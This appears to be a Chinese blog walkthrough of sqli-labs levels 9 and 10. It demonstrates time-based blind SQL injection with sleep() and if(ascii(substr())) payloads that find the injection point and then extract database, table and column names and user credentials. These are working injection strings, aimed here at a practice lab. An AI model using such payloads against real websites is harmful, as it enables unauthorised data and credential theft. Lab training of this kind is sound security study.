sqli-labs靶场9-10关(时间盲注)

知识点

函数

if()函数				条件判断函数
if(a,b,c)	  if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
sleep()函数			网页延迟n秒后,输出结果
left()函数             从左边数,取几个数
例如:left(abcdef,3)  取3位左边的数,就是abc

第九关

源码分析:
在这里插入图片描述开搞
一、判断注入点(需要用到sleep函数)
?id=1')and (sleep(4)) --+ (耗时2s,这是正常的页面,没有闭合的页面)
?id=1'and (sleep(4)) --+ (耗时6s,因为正常页面需要2s,所以闭合之后消耗的时间为又增加了4s,所以是6s)
时间注入判断注入点就用这个
由于不报错,所以判断注入点,就是用sleep延迟函数
在这里插入图片描述在这里插入图片描述一、爆库(security)
根据第8关的思想我们先判断数据库的长度

?id=1' and if (length(database()) = 8 ,sleep(4),1)--+

就是如果数据库的长度为8,就延时反应4秒

在这里插入图片描述知道了数据库的长度,那么我们就进行爆库

?id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

说明第一位是 s (ascii 码是 115)
在这里插入图片描述依次类推爆出来库名

?id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1)--+

说明第一位是 e (ascii 码是 101)
二、爆表名

?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(4),1)--+ (u)
?id=1' and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),2,1))=115,sleep(4),1)--+ (s)以此类推

在这里插入图片描述三、爆字段

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(4),1)--+

猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
在这里插入图片描述四、爆数据

?id=1' and If(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(4),1)--+

在这里插入图片描述以此类推,我们得到数据库 username,password 的所有内容

第十关

和第九关一样,基于时间盲注的注入
首先我们来看一下源码
在这里插入图片描述就一个双引号注入
我们还是系统的来判断一下注入点

?id=1" and (sleep(3))--+  (有延迟)
?id=1’ and (sleep(3))--+   (无延迟)

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值